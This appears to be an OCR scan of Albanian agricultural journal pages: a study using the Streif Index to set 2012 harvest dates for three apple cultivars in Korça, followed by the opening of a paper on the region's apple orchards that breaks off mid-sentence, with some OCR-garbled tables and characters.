2 | Alternaria porri 2 4 1 0 2.1
3 Botrytis sp. 8 4 2 3 4.6
ey
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VLERESIMI | TREGUESVE TE PJEKURISE PER TRE KULTIVARE E
MOLLES NE RAJONIN E KORGES

Dhimitri Papamihal

Pérmbledhje

Datat e vjeljes sé cdo kultivari molle té destinuar pér ruajtje afatgjaté kané njé
réndési té madhe pér cilésing dhe freskiné e frutave né pérfundim té kétij procesi.
Studimet shkencore kané treguar se vjelja duhet té kryhet brenda njé periudhe disa
ditore té pércaktuar miré, pak mé pérpara se né frut té fillojé prodhimi i shtuar i
etilenit dhe té rritet frymémarrja. Pércaktimi i késaj periudhe béhet népérmijet
vlerésimit dinamik té disa treguesve té pjekurisé né frutat e mollés. Njé pérdorim té
madh ka gjetur Treguesi Streif, i cili pércakton datén optimale té vjeljes té cdo
kultivari. Ky studim pér vlerésimin e pjekurisé sipas Treguesit Streif u realizua né
vitin 2012 pér tre kultivaré kryesoré té mollés né rajonin e Korcés Golden Delicious,
Red Chief dhe Granny Smith té& kultivuara né njé nga zonat tipike té kultivimit té
mollés né kété rajon. Matja e treguesve té pjekjes u krye me njé distance kohore prej
pesé ditésh nga njéra tjetra, pesé heré pér dy kultivarét e paré dhe gjashté heré pér
Granny Smith. 20 shtatori u pércaktua si data optimale e vjeljes pér kultivarét
Golden Delicious dhe Red Chief, ndérsa 4 tetori pér kultivarin Granny Smith.

Fjalé kyce: daté vjelje, tregues té pjekurisé, Golden Delicious, Red Chief, Granny
Smith, Treguesi Streif.

Abstract

The harvest dates of each apple cultivar intended for long term storage are of great
importance on the fruit freshness and quality in the end of storage period. The
scientific studies have shown that harvest should take place within a well-defined
period of few days, just before the ethylene production and respiration rate increase
in fruit. Determination of the right harvest time is made through the assessment of
several maturity indicators in apple fruits. The Streif Index is widely used to
determine the optimum date of harvest for each cultivar. This study was made in
2012 to assess the maturity indicators according to Streif Index for three main apple
cultivars of Korca region Golden Delicious, Red Chief and Granny Smith grown in a
typical apple growing area of that region. The measurement of maturity indicators
was made in a five day distance from each other, five times for the first two cultivars
and six times for Granny Smith. September 20 was determined as the optimum date
to harvest Golden Delicious and Red Chief cultivars, while October 4 for Granny
Smith.

Keywords. harvest date, maturity indicators, Golden Delicious, Red Chief, Granny
Smith, Streif Index.
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Hyrje

Molla éshté njé frut gé mund té ruhet e konsumohet e freskét deri né njé vit nga data
e vjeljes. Né kété kéndvéshtrim, réndési té vecanté ka harmonizimi i té gjithé
faktoréve gé ndikojné né ruajtjen maksimale té freskisé dhe cilésisé né magazinimin
afatgjaté té saj. Mes kétyre faktoréve, datat e vjeljes té cdo kultivari kané njé ndikim
shumé té& madh (Vielma et al., 2008; Kvikliene, 2001; Franelli, Casera, 1996; Streif,
1996). Studimet shkencore kané treguar se ¢do kultivar duhet té vilet pak mé pérpara
se né kokrrat e tij té fillojé prodhimi i shtuar i etilenit dhe té rritet frymémarrja
(Little & Holmes 2000) dhe procesi i vjeljes té pérfundojé brenda pak ditéve
(Blanpied & Silsby 1992). Kur mollét vilen para kétij afati, frutat jané mé té vogla,
kané ngjyrim dhe aromé té pakét dhe jané mé té ndjeshme ndaj djegies
sipérfagésore, kalbézimit té hidhur e crregullimeve té brendshme né ruajtje
(Blanpied & Silsby 1992). Edhe humbjet né peshén e ¢do kokrre nga evaporimi
gjaté magazinimit jané mé té meédha, sepse shtresa dyllore dhe kutikula né
sipérfagen e tyre nuk jané formuar plotésisht (Zerbini et al., 1999; Juan et al., 1999).
Nga ana tjetér, kur mollét vilen mé voné se afati optimal, frutat nuk ruhen miré gjaté
magazinimit, zbuten shpejt, krijohen aroma jo karakteristike dhe jané shumé té
ndjeshme ndaj sémundjeve e kalbézimeve. Pér kété arsye pércaktimi i periudhés
optimale té vjeljes pér ¢cdo kultivar éshté njé proces shumé i réndésishém (Faragher
et al. 1984).

Gjaté dekadave té fundit, njé numér i madh teknikash jané pérdorur né pércaktimin e
afatit optimal té vjeljes sé mollés. Ato kané né bazé matjen dinamike té treguesve té
vecanté né frut gé karakterizojné pjekjen teknike té ¢do kultivari, té tillé si: prodhimi
i etilenit, fortésia e kokrrés, ngjyra e saj, léndét e tretshme, transformimi i amidonit
né shegerna té thjeshta etj. Megjithaté, eksperimentimi shkencor dhe praktika e gjeré
kané treguar se asnjéri prej treguesve té mésipérm i marré vegmas nuk ka gené i
mjaftueshém dhe i sakté né vlerésimin e pjekjes optimale té frutit. Nga ana tjetér,
kombinimi i disa treguesve ka rezultuar mé superior, vecanérisht pér té zvogéluar
ndryshueshmériné gé vihet re nga fruti né frut né njé pemé molle, brenda frutave té
njé kultivari, nga njé pemétore né tjetrén e késhtu me radhé (Kingston, 1991). Né
kété kontekst, si mé i suksesshém né vlerésimin e kohés optimale té vjeljes sé mollés
ka rezultuar Treguesi Streif, i cili del nga raporti ndérmjet fortésisé sé frutit me
prodhimin e totalit té l1éndéve té tretshme dhe treguesit t& amidonit (Streif, 1983,
1996). Ky tregues pérdoret gjerésisht né vlerésimin e kohés optimale té vjeljes sé
kultivaréve t& mollés né Gjermani (Streif, 1996; Wilcke, 1996), né Hollande (de
Jager and Roelofs, 1996), né Hungari (Merész et al., 1996), dhe né Poloni
(Rutkowski et al., 1996). Né vendin toné vjelja e kultivaréve té mollés bazohet
kryesisht né datat historike té vjeljes dhe né ndonjé rast edhe né matjen e
pérmbajtjes sé shegernave né frut. Pér keté arsye pérdorimi i treguesit Streif do té
ishte me vlera.

Materiali dhe metoda

Vlerésimi i parametrave té pjekurisé u realizua pér tre kultivaré té mollés Golden
Delicious, Red Chief dhe Granny Smith, té cilét sé bashku pérbéjné mbi 70% té
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strukturés sé mbjelljeve dhe prodhimit né rajonin e Korgés. Studimi u krye né njé
zoné tipike té kultivimit t¢ mollés né rajonin e Korcés, né njé nga pemétoret e
bllogeve me mollé té Zvirinés. Pér marrjen e mostrave pér ¢do kultivar dhe
vendndodhje, me metodén e randomizimit té thjeshté, u pérzgjodhén 5 rrénjé molle
me nénshartesé vegjetative MM106, me zhvillim normal dhe moshe 12 vjegare. Né
cdo pemé u morén pér analizim katér kokrra molle, nga njé né secilin drejtim té
horizontit, té vendosura né pjesén e jashtme e té dritésuar té kurorés, né lartésiné
rreth 1. 5 metra mbi toké. Procedura e marrjes sé kokrrave dhe vlerésimi i treguesve
té tyre té pjekurisé u realizua né pesé data té ndryshme pér kultivarét Golden
Delicious dhe Red Chief, né datat 13 shtator, 18 shtator, 23 shtator 28 shtator dhe 3
tetor 2012, ndérsa pér Granny Smith, ve¢ datave té sipérpérmendura edhe né datén 8
tetor.

Treguesit e analizuar pér ¢do kultivar dhe secilén daté té marrjes sé frutave ishin:

- Fortésia e kokrrave né kg/cm?, e matur me penetrometér dore té tipit Wagner FT
30, me tub sonde 11 mm, me shpim né té dy anét e kundérta té kokrrés pér té nxjerré
mesataren e fortésisé pér kokérr.

- Totali i Iéndéve té tretshme té kokrrave né shkallén Briks, i matur me refraktometér
dore té tipit ATC REF-114.

- Treguesi i Amidonit, u realizua népérmjet zhytjes pér 30 sekonda té gjysmé
kokrrave té mollés té prera sipas planit ekuatorial né solucion Jodide Potasike dhe
Jod gé pérmbante pér ¢do litér 10 gr kristale té tretura té Jodidés Potasike (KI) dhe 3
gr kristale Jodi (I). Vlerésimi i shndérrimit té amidonit né shegerna té thjeshté u bé
népérmijet krahasimit me tabelat standarde té shkallés 1 -10, ku 1 pérfagéson 0%
shndérrim amidoni, ndérsa 10 tregon 100% shndérrim té tij.

- Mbi bazén e tre treguesve té mésipérm u bé pérllogarritja e Treguesit Streif, sipas
formulés:

Fortesia
Totali i Lendeve te Tretshme x Treguesi i Amidonit

Té gjithe té dhénat e dala u pérpunuan me programin statistikor MINITAB 16, me
nivel sigurie 95%.

Treguesi Streif =

Rezultatet dhe diskutimi

Pér secilin kultivar u analizuan statistikisht tre treguesit e pjekurisé sé kokrrave pér
cdo daté t€ mostrimit té tyre: fortésia, totali i léndéve té tretshme dhe treguesi i
Amidonit
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Pér kultivarin Golden Delicious, té dhénat pér kéta tregues jepen me poshté:
Fortésia:

Datat N Mean SE Mean StDev Variance
13 shtator 20 7. 8100 0. 01910. 0852 0. 0073
18 shtator 20 7. 4000 0.0162 0. 0725 0.0053
23 shtator 20 6. 9650 0.01310. 0587  0.0034
28 shtator 20 6. 6600 0.0184 0. 0821  0.0067
3 tetor 20 6. 3350 0.0150 0. 0671  0.0045

Fortésia e frutave ka rezultuar né rénie pérgjaté gjithé periudhés 20-ditore, me nje
mesatare prej 0. 07375 kg/cm?/dité. Né datén e paré té mostrimit, mé 13 shtator ajo
ishte 7. 8100 kg/cm?, ndérsa né datén e fundit 6. 3350 kg/cm®.

Totali i Iéndéve té tretshme:

Datat N Mean SE Mean StDev Variance
13 shtator 20 13. 015 0.0182 0. 0813 0. 0066
18 shtator 20 13. 560 0.0343 0.154 0.0236
23 shtator 20 14. 025 0. 0441 0.197 0.0388
28 shtator 20 14. 525 0. 0289 0.129 0.0167
3tetor 20 14. 945 0.0211 0. 0945 0. 0089

Totali i Iéndéve té tretshme ka ardhur né rritje gjaté gjithé periudhés 20-ditore, me
njé mesatare prej 0. 05741 °Briks/dité. Né datén e paré t& mostrimit, mé 13 shtator
ato ishin 13. 015 °Briks, ndérsa né datén e fundit 14. 945 °Briks.

Treguesi Amidonit;

Datat N Mean SE Mean StDev Variance
13 shtator 20 3.000 0.126 0.562 0.316
18 shtator 20 4. 2000 0.0918 0.4104 0.1684
23 shtator 20 5. 500 0. 136 0.607 0.368
28 shtator 20 6. 650 0.131 0.587 0.345

3 tetor 20 7. 650 0. 150 0.671 0.450

Treguesi i Amidonit tregoi njé rritje té vazhdueshme gjaté gjithé periudhés 20-
ditore, me njé mesatare prej 0. 2325 shkalle né dité. Né datén 13 shtator ai kishte
vlerén 3. 000, ndérsa né datén 3 tetor 7. 650.

Bazuar né té dhénat e mésipérme té tre treguesve té pjekurisé, u bé pérllogaritja pér
cdo daté mostrimi e treguesit Streif, i cili éshté njé raport i Fortésisé me prodhimin e
totalit té 1éndéve té tretshme me treguesin e Amidonit. Kéto té dhéna dhe vlerat e
treguesit Streif pér kultivarin Golden Delicious jepen né tabelén 1. 1.
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Datat e | Madhésia - T.Ota.l.i ' Treguesi i .
mostrimit | e mostrés (ngr}gri:% 'Itfgtgﬁ\rﬁe © Amidonit g{fe%?em
(2012) (kokrra) (°Briks) (1-10)

13 shtator | 20 7.810 13.015 3.00 0. 2000
18 shtator | 20 7.400 13. 560 4.20 0. 1299
23 shtator | 20 6. 965 14. 025 5.50 0. 0902
28 shtator | 20 6. 660 14,525 6. 65 0. 0689
3 tetor 20 6. 335 14,945 7.65 0. 0554

Tabela 1. 1. Ecuria e treguesve té pjekurisé dhe treguesi Streif pér kultivarin Golden
Delicious

Nga tabela 1. 1 rezulton se vlerat e treguesit Streif kané ardhur né rénie nga data 13
shtator - 3 tetor 2012. Ilustrimi i treguesve té pjekurisé jepet né grafikun 1. 1, ndérsa
né figurén 1. 1 jané pamje té fotografuara té nivelit t¢ Amidonit né frut né datén 13
shtator dhe 3 tetor 2012, pas trajtimit té tyre me solucion Jodide Potasike dhe Jod.

Treguesit e pjekurise sipas dateve te vjeljes
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Pér kultivarin Red Chief, té dhénat pér fortésiné e kokrrave, totalin e léndeve té
tretshme dhe treguesin e Amidonit jané si mé poshté:

Fortésia:
Datat N Mean SE Mean StDev Variance
13 shtator 20 8. 2100 0.0191 0.0852 0. 0073
18 shtator 20 7.78500. 0254 0. 1137 0.0129
23 shtator 20 7. 3650 0.0167 0.0745 0. 0056
28 shtator 20 6.95000 0212 0. 0946 0. 0089
3 tetor 20 6. 5200 0. 0172 0. 0768 0. 0059

Fortésia e frutave ka rezultuar né rénie pérgjaté gjithé periudhés 20-ditore, me njé
mesatare prej 0. 0845 kg/cm?/dité. Né datén e paré té mostrimit, mé 13 shtator, ajo
ishte 8. 2100 kg/cm?, ndérsa né datén e fundit 6. 5200 kg/cm®.

Totali i Iéndéve té tretshme:

Datat N Mean SE Mean StDev Variance

13 shtator 20 10. 630 0.0231 0.1030 0. 0106
18 shtator 20 11. 405 0198 0. 0887 0. 0079
23 shtator 20 12. 125 0.0176  0.0786 0. 0062
28 shtator 20 12. 895 0.0170 0.0759 0. 0058
3 tetor 20 13 475 0.0143 0.0639 0. 0041

Totali i 1&ndéve té tretshme ka ardhur né rritje gjaté gjithé periudhés 20-ditore, me
njé mesatare prej 0. 14225 °Briks/dité. Né datén e paré té mostrimit, mé 13 shtator,
ato ishin 10. 630 °Briks, ndérsa né datén e fundit 13. 475 °Briks.

Treguesi i Amidonit;

13 shtator 20 3.200 0.117 0. 523 0.274
18 shtator 20 4.450 0.114 0510 0.261
23 shtator 20 5.500 0.115 0.513 0. 263
28 shtator 20 6.500 0.115 0513 0. 263
3 tetor 20 7. 300 0.128 0.571 0. 326

Treguesi i Amidonit tregoi njé rritje té€ vazhdueshme gjaté gjithé periudhés 20-
ditore, me njé mesatare prej 0. 2555 shkallé né dité. Né& datén 13 shtator ai kishte
vlerén 3. 200, ndérsa né datén 3 tetor 7. 300.

Me té dhénat e mésipérme té tre treguesve té pjekurisé, u bé pérllogaritja pér ¢do
daté mostrimi e treguesit Streif, i cili &shté njé raport i fortésisé me prodhimin e
totalit té Iéndéve té tretshme me treguesin e Amidonit. Kéto té dhéna dhe vlerat e
treguesit Streif pér kultivarin Red Chief jepen né tabelén 2. 1.
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Totali

Datat e | Madhésia - o . | Treguesi i .
mostrimit | e mostrés (Fi?gr}grs;% 'Itfgtgﬁ\r/r?e © Amidonit g{fe%?em
(2012) (kokrra) (°Briks) (1-10)

13 shtator | 20 8.210 10. 630 3.200 0.2413
18 shtator | 20 7.785 11. 405 4. 450 0. 1534
23 shtator | 20 7.365 12. 125 5.500 0.1104
28 shtator | 20 6. 950 12. 895 6. 500 0. 0829
3 tetor 20 6. 520 13. 475 7.300 0. 0662

Tabela 2. 1. Ecuria e treguesve té pjekurisé dhe treguesi Streif pér kultivarin Red
Chief

Nga tabela 2. 1. rezulton se vlerat e treguesit Streif kané ardhur né rénie nga data 13
shtator - 3 tetor 2012. Ilustrimi i treguesve té pjekurisé jepet né grafikun 2. 1, ndérsa
né figurén 1. 1. jané pamje té fotografuara té nivelit t&¢ Amidonit né frut né datén 13
shtator dhe 3 tetor 2012.

Treguesit e pjekurise sipas datave te vjeljes
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Pér kultivarin Granny Smith, té& dhénat pér Fortésiné e kokrrave, totalin e 1éndéve
té tretshme dhe treguesin e Amidonit jané si mé poshté:

Fortésia:
Datat N Mean SE Mean StDev Variance
13 shtator 20 9. 3750 0.01760. 0786 0. 0062
18 shtator 20 9. 1100 0.0100 0. 0447 0. 0020
23 shtator 20 8. 7850 0.0150 0. 0671 0. 0045
28 shtator 20 8. 5100 0.0161 0. 0718 0. 0052
3 tetor 20 8. 1950 0.0153 0. 0686 0. 0047
8 tetor 20 7. 9250 0.0160 0. 0716 0. 0051

Fortésia e frutave ka rezultuar né rénie pérgjaté gjithé periudhés 25-ditore, me njé
mesatare prej 0. 058 kg/cm?/dité. Né datén e paré té mostrimit, mé 13 shtator, ajo
ishte 9. 3750 kg/cm?, ndérsa né datén e fundit 8 tetor ishte 7. 9250 kg/cm?.

Totali i Iéndéve té tretshme:

Datat N Mean SE Mean StDev Variance
13 shtator 20 9. 3500 0. 0526 02351 0.0553
18 shtator 20 9. 8500 0.0819 03663 0.1342
23 shtator 20 10. 475 0.0571 0255 0.0651
28 shtator 20 10. 925 0. 0656 0294 0.0862
3tetor 20 11 450 0. 0500 0224 0.0500
8 tetor 20 11. 950 0.0716 0320 0.1030

Totali i 1éndéve té tretshme ka ardhur né rritje gjaté gjithé periudhés 25- ditore, me
njé mesatare prej 0. 104 °Briks/dité. Né datén e paré té mostrimit, mé 13 shtator ato
ishin 9. 3500 °Briks, ndérsa né datén e fundit té mostrimit, mé 8 tetor, ishin 11. 950
°Briks.

Trequesi i Amidonit;

Datat N Mean SE Mean StDev Variance
13 shtator 20 1. 250 0. 0993 0. 4443 0. 1974
18 shtator 20 2. 200 0. 0918 0.4104 0.1684
23 shtator 20 3. 000 0. 1260 0.5620 0. 3160
28 shtator 20 3. 800 0. 0918 0.4104 0. 1684
3 tetor 20 4. 550 0. 1140 0.5100 0.2610
8 tetor 20 5. 200 0. 0918 0.4104 0.1684

Treguesi i Amidonit tregoi njé rritje té vazhdueshme gjaté gjithé periudhés 25-
ditore, me njé mesatare prej 0. 158 shkallé né dité. Né datén 13 shtator, ai kishte
vlerén 1. 250, ndérsa né datén 8 tetor 5. 200.

Me té dhénat e mésipérme té tre treguesve té pjekurisé, u bé pérllogaritja pér cdo
daté mostrimi e treguesit Streif edhe pér kultivarin Granny Smith. Né ndryshim nga
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dy kultivarét e tjeré te ky kultivar ai kishte njé vleré shumé té larté, vecanérisht né
mostrén e paré dhe té dyté, dhe kjo i dedikohet fortésisé tepér té madhe té frutave té
tij. Té dhénat pér treguesit e pjekurisé dhe vlerat e treguesit Streif pér kultivarin
Granny Smith jepen né tabelén 3. 1.

Datat e | Madhésia - -I.-.Ota.l.' ! Treguesi i .
mostrimit | e mostrés Forte5|a) léndéve € Amidonit Ireguesl
(kglcm? tretshme ) Streif

(2012) (kokrra) (°Briks) (1-10)

13 shtator | 20 9.375 9. 350 1. 250 0. 8021
18 shtator | 20 9.110 9. 850 2. 200 0. 4204
23 shtator | 20 8. 785 10. 475 3. 000 0. 2824
28 shtator | 20 8.510 10. 925 3. 800 0. 2049
3 tetor 20 8. 195 11. 450 4. 550 0. 1573
8 tetor 20 7. 925 11. 950 5. 200 0. 1275

Tabela 3. 1. Ecuria e treguesve té pjekurisé dhe treguesi Streif pér kultivarin Granny
Smith

Nga tabela 3. 1 rezulton se vlerat e treguesit Streif pér kultivarin Granny Smith kané
ardhur né rénie nga data 13 shtator - 3 tetor 2012. lustrimi i treguesve té pjekurisé
jepet né grafikun 2. 1, ndérsa né figurén 1. 1 jané pamje té fotografuara té nivelit té
Amidonit né frut, né datén 13 shtator dhe 3 tetor 2012.
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Kultivari "G. Smith” 12.09.2012 PR m.i "G, Smith™ 03.%0,2012
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Né Grafikun 4 paragitet treguesi Streif pér té tre kultivarét: Golden Delicious, Red
Chief dhe Granny Smith. Aty duket garté diferenca gé ekziston ndérmjet tyre, dhe
veganérisht ndérmjet Granny Smith dhe dy kultivaréve té tjeré té marré né studim.
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Pérfundime

Si¢ vihet re nga té dhénat e paragitura né kété studim, ecuria e tre treguesve té
pjekurisé sé frutave si dhe treguesi Streif jané té ndryshme pér ¢do daté mostrimi pér
secilin nga té tre kultivarét.

1. Né datén 13 shtator vlerat e treguesit Streif pér kultivarét né studim kané gené pér
Golden Delicious 0. 2000, pér Red Chief 0. 2413 dhe pér Granny Smith 0. 8021. Né
cdo matje té mévonshme vlerat e kétij treguesi kané ardhur né zbritje, duke arritur né
datén 3 tetor 0. 0554 pér Golden Delicious, 0. 0662 pér Red Chief dhe né datén 8
tetor 0. 1275 pér Granny Smith.
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2. Té dhénat e literaturés rekomandojné gé pér té siguruar freskiné dhe cilésiné
optimale t&¢ molléve né ruajtjen afatgjaté (mbi 6 muaj) si né mjedise frigoriferike
ashtu dhe né ajér té kontrolluar, vlera e treguesit Streif né vjelje pér Golden
Delicious duhet té jeté rreth 0. 1, pér njé pjesé t€ miré té kultivaréve té grupit Red
Delicious 0. 12, ndérsa pér kultivarét me pjekje té vonét e tul té forté si Granny
Smith rreth 0. 15, me kushtin gé te ky i fundit treguesit e Amidonit dhe totali i
Iéndéve té tretshme té jené pérkatésisht rreth 4. 5 dhe 12. Duke ballafaquar
rekomandimet e literaturés me té dhénat e kétij studimi rezultoi se né rastin e dy
kultivaréve Golden Delicous dhe Red Chief, data optimale e vjeljes sé tyre pér
pemétoren e Zvirinés ishte 20 shtatori 2012, ndérsa pér Granny Smith 4 tetori 2012,

3. Né aspektin praktik té pemétoreve té médha me mollé éshté e véshtiré té
realizohet vjelja brenda datés optimale né ratin kur ato destinohen pér ruajtje
afatgjaté. Pér kété arsye, té dhénat e literaturés rekomandojné gé kjo vjelje té
realizohet né njé periudhé sa mé té shkurtér, pak dité para dhe pas datés optimale.
Né rastin e kultivaréve Golden Delicious dhe Red Chief kjo periudhé mund té jeté
deri né pesé dité, ndérsa pér Granny Smith, deri dhjeté dité.

4. Treguesit e pjekurisé se frutave te mollés jané ne varési te nje numri faktorésh
klimatiko-tokésoré, agroteknike, nénshartesave, etj., prandaj ata mund té ndryshojné
nga viti ne vit edhe pér te njéjtin kultivar. Pér kété arsye, ndjekja e tyre dhe
pércaktimi i datés optimale té vjeljes pér ruajtje afatgjate duhet té realizohet né
ményré te pérvitshme. Kjo do té minimizonte humbjet e prodhimit dhe
maksimizonte cilésiné, duke rritur té ardhurat e gjeneruara nga ky sektor.
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DRU FRUTORI | MOLLES, GJENDJA DHE PERSPEKTIVA NE ZONEN E
KORCES
Dorjan Marku
Universiteti “Fan S. Noli”, Korcé

Pérmbledhje

Dru frutori i mollés éshté njé nga speciet mé té réndésishme brenda grupit té
specieve frutore né rajonin e Korcés. Ai kap peshén kryesore né frutikulturé jo
vetém pér nga numri i rrénjéve gé mbulon, por edhe pér nga produktiviteti dhe vlerat
dieteike dhe pérfitimet ekonomiko-financiare té ¢do frutikulturisti.

Né strukturén varietore té késaj specie, dy jané kultivarét bazé qé kapin rreth 72% té
krejt strukturés varietore dhe konkretisht Golden Delicious dhe Starking.

Vitet e fundit né strukturén varietore po konsolidojné vendosjen kultivarét /dared,
me 5% té sipérfages dhe mé pas po rajonizohen né strukturé Fuji, G. Smith, Gala etj.

Densiteti né plantacion prej mbi 1000 rrénjé pér hektaré, po krijon kushte jo vetém
pér rritjen e prodhimit, por edhe pér cilési té larté té kokrrave, faktor ky gé fugizon
té ardhurat neto pér frutikulturistét.

Fjalé celés: diversitet gjenetik, kultivar, mollé, plantacion etj.

Abstract

Apple orchard is one of the most important species compared to other fruit trees
in Korca region. It is the most important component in fruticulture, not only because
of the number of cultivated fruit trees but even regarding productivity, dietetic
values, economic and financial benefits of every farmer involved in the sector.
Depending on the varietal structure of this fruit, the main cultivars of apples that
account 72% of the total variety are Golden Delicious and Starking.

During the last years in the varietal structure of apples are being consolidated other
different cultivars such as /dared, accounting 5% of the total area, followed by
Granny Smith, Fufi, Gala etc. Plantation density of apples which account over 1000
trees per hectare has created favorable conditions not only for increased production
but even for good quality crops, factors that empower positively the net income of
farmers.

Key words: genetic diversity, cultivar, apple, mutant, plantation etc.

Hyrje

Né té gjitha gjerésité gjeografike gé paragesin kushte klimaterike té favorshme
pér njé prodhim bujgésor, pemét frutore né pérgjithési dhe dru frutori i mollés né
vecanti, éshté i pranishém dhe padyshim ai kap njé pjesé té réndésishmé né té
ushqyerit e njeriut. Dru frutori i mollés éshté njé specie shumé rustike. Aftésia e tij
e adaptimit si né rajonet me klimé té ashpér, apo dhe né ato me klimé té buté, e lejon
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até té pérhapet né njé areal té gjeré. Sot kété specie e gjejmé té kultivuar né gjerésité
gjeografike midis 25 - 60°.

Prodhimi botéror i kétij fruit ka pérparuar gé prej 20 vjetésh me mbi 2% né vit.
Nése prodhimi evropian shénon njé rritje té lehté, vendet joevropiane po progresojné
fortésisht. Amerika e Jugut dhe né vecanti Kina, jané kthyer né prodhues té paré né
nivel botéror té kétij fruti. Fruti i mollés z& vendin e treté né prodhimin total té
frutave, pas agrumeve dhe bananes. Nisur nga vlerat dietetike, falé pérmbajtjes né
vitamina, kripéra minerale, substanca antioksidante dhe antiseptike, konsumi pér
frymé sa vjen dhe rritet. Té bén pérshtypje fakti se vendet gé nuk e kultivojné kété
specie, si: Arabia Saudite, Emiratet e Bashkuara, dhe Taivani e kané konsumin pér
frymé mé té larté, i cili arrin deri né 40 kg.

Te dru frutori i mollés, krahas aktivitetit té seleksionimit natyral, ka ekzistuar
dhe njé seleksionim i orientuar prej njeriut, i cili ka ditur té zgjedhé njé numur té
madh Kkultivarésh, té cilét i pérshtaten mé miré ambientit.

Heterogjeniteti i shumicés sé specieve, krygézimet e shpeshta interspecifike
natyrale, shkémbimet e réndésishme té materialit vegjetal ndérmijet rajoneve
ekologjike, kané kontribuar né krijimin e njé variabiliteti t¢ madh gjenetik pér
shumicén e specieve. Njé faktor i diversitetit ka gené dhe mbetet, shfagja e
mutantéve dhe seleksionimi i tyre, duke filluar nga “Antovovka” 600 gr, prej
“Antonovkés sé Bardhé” né vitin 1886, e deri te mutant “Kiku”, para pak vitesh né
Japoni.

Molla né rajonin e Korgés

Dikur trevat me klimé kontinentale para malore dhe malore jané konsideruar si
rajone elitare pér kultivimin e mollés, si né aspektin produktiv ashtu dhe né até
gustativ. Teknologjia e kultivimit té kétij dru frutori éshté mbéshtetur né resurset
gjenetike té kohés, né agroteknologjiné e kultivimit dhe né teknikat e konservimit.
Sot koha ka ndryshuar. Eshté béré progres né resurset gjenetike duke i pasuruar ato,
gjé gé shprehet né njé gamé té gjeré té kultivaréve té rinj me nénshartesa vegjetative.
Kjo veti e nénshartesave, shogérohet me druré molle me kuroré té zvogéluar dhe
shtat té ulét. Kéta kultivaré kané vecoriné té mbillen né plantacion nga 1500 — 2500
pemé.

Gjithashtu, ka avancuar teknologjia e kultivimit, jané pérmirésuar sistemet e
plehérimit, ato té ujitjes, deri tek aplikimi i ujitjes me pika. Té gjitha kéto teknologji
dhe né vecanti mbrojtja e integruar e parazitéve dhe démtuesve, ka ¢uar né prodhime
té larta dhe cilésore.

Né rajonin e Korcés molla kap 82% té peméve frutore t&€ mbjella. Vémendje e
veganté i éshté kushtuar strukturés varietore, me tendencé mbjelljen e varieteteve qé
kérkon konsumatori.
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Tabela nr. 1. Paraqitet struktura varietore né % si dhe produktiviteti pér ¢do

kultivar.
. %
| RrenjggNE e Prodhimi | Rré | %
Nr. | Kultivari | molle prodhi - .
.. . rritje Kv njév | Prodhim
gjithsej m e
1. | Golden 355912 | 260666 | 95246 | 68034 33 33
2. | Starking | 420624 | 308196 | 112428 | 82579 39 40
3. | Idared 53 926 39474 | 14452 | 10263 5 5
Grand
4. Smith 64 711 47369 | 17343 | 12790 6 6
5. | ParaGold | 43141 31579 | 11652 | 7979 4 4
6. | Janothan | 21570 15790 | 5781 2868 2 1
7. | Fuji 10 785 7895 2890 1974 1 1
8. | Mutco 21570 15790 | 5781 3789 2 2
9. | Galo 10 785 7895 2890 2053 1 1
10. | Té tjera 75 497 55263 | 20233 | 13816 7 7
TOTALI | 1078522 | 789916 | 288 606 | 206 145

Sikundér shihet nga tabela nr.1, numrin mé té madh té dru frutoréve e kapin
kultivarét: Golden Delicious dhe Starking. Me sa duket kemi té béjmé me ndikimin
“psikologfik’ té konsumatorit me kéta dy kultivaré, falé dhe vetive té pélqyeshme té
tyre si: aroma, tekstura, raportet e drejta né pérmbajtje té shegerit dhe aciditetit, apo
dhe reologjia e tyre, gé té gjitha sé bashku pérbéjné vlerat hedonike té njé produkti,
afér atij “ideal”. N€ vendin e treté n€ strukturén varietore géndron kultivari /dared.
Megjithése ky kultivar ka vetém dy dekada gé kultivohet, pérséri ai zé njé vend té
réndésishém né strukturén varietore. Cilésia e larté e tij né konservim, géndresa e
larté ndaj kromés, hirit dhe rrjetés mbi lévore, i detyrojné frutikulturistét té
vazhdojné té rritin sipérfaget e mbjella me kété lloj dru frutori.

Kultivari /dared'ka dhe vetiné e ruajtjes sé teksturés sé forté dhe mos humbjes sé
Iéngut gjaté konservimit té tij. Nga analizat e kryera pér humbjet gjaté konservimit
pér njé periudhé kohe mbi 4 muajsh, ky kultivar falé perikarpit té trashé dhe
mungesés sé pakté té poreve ka aftésiné e pakésimit té lagéshtisé gjaté procesit té
transpirimit. Pra, humbjet né peshé pér kété kultivar jané mé té pakta (rreth 5%) se
kultivari Starking.

Nése do té analizojmé mé thellé strukturén varietore, do té shohim se né té, zéné
vend dhe kultivarét modern si: Fufi, Gala, Mutco, etj. Megjithése origjinat e krijimit
varietal té tyre jané tepér té largéta me ato té rajonit té Korgés, pérséri kéta kultivaré
jané adaptuar shumé miré. Kjo flet pér njé plasticitet té gjeré té tyre. Kéta kultivaré
shquhen pér ruajtjen e léngut dhe cilésisé sé larté, aromén dhe mungesén e
gelquritetit_té tulit. Por, duhet t& pérmendim se kultivarét frutoré jané klone,
shumézimi i té ciléve éshté esencialisht i realizuar nga shartimi, gé né gjuhén e
seleksionimit quhet “Aibridizim vegjetativ’.
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Pra, hibridizimi n€ thelb &sht€é “shkémbim i materialit gjenetik” midis dy
komponentéve prindéroré, dhe pikérisht kétu géndron gjithé Ky diversitet gjenetik,
por kjo éshté vetém njéra ané e medaljes. Ana tjetér éshté ajo e rrezikut té pérhapjes
sé shpejté té sémundjeve degjeneruese, viruseve, mikroplazmave etj.

Pra, zgjedhja e pjeséve @€ shérbejné si material shartimi jané faktoré
determinanté té bilancit ekonomik té pemétarisé. Cdo gabim mé shumé né planin e
prodhimit, sesa até té adaptimit té frutave né ekzigjencén e tregut, do té keté pasoja
pér frutikulturistin.

Struktura varietore e ngritur né rajonin e Korcés pothuajse pérputhet me
strukturén varietore té shumé rajoneve té Evropés Peréndimore, ku peshén kryesore
e zéné kultivarét Golden Delicious dhe Starking. Kultivari G. Smith z& vendin e
katért né strukturén varietore, me njé prodhim total prej 47 369 kv. Cilésia e frutit té
tij éshté specifike, pér moshé specifike dhe gjendje shéndetésore té vecanté. Ai ruan
mjaft miré fresking, 1éngun dhe posedon pérmbajtje mé té ulét té shegerit.

Nése do té analizojmé produktivitetin sipas kultivaréve gé ndodhen aktualisht né
prodhim, do té konstatojmé se rendimenti pér dru frutor varion nga 18 — 26 kg. Kéto
diferenca jané té justifikueshme mbéshtetur te cilésia e frutave. Tendenca sot e
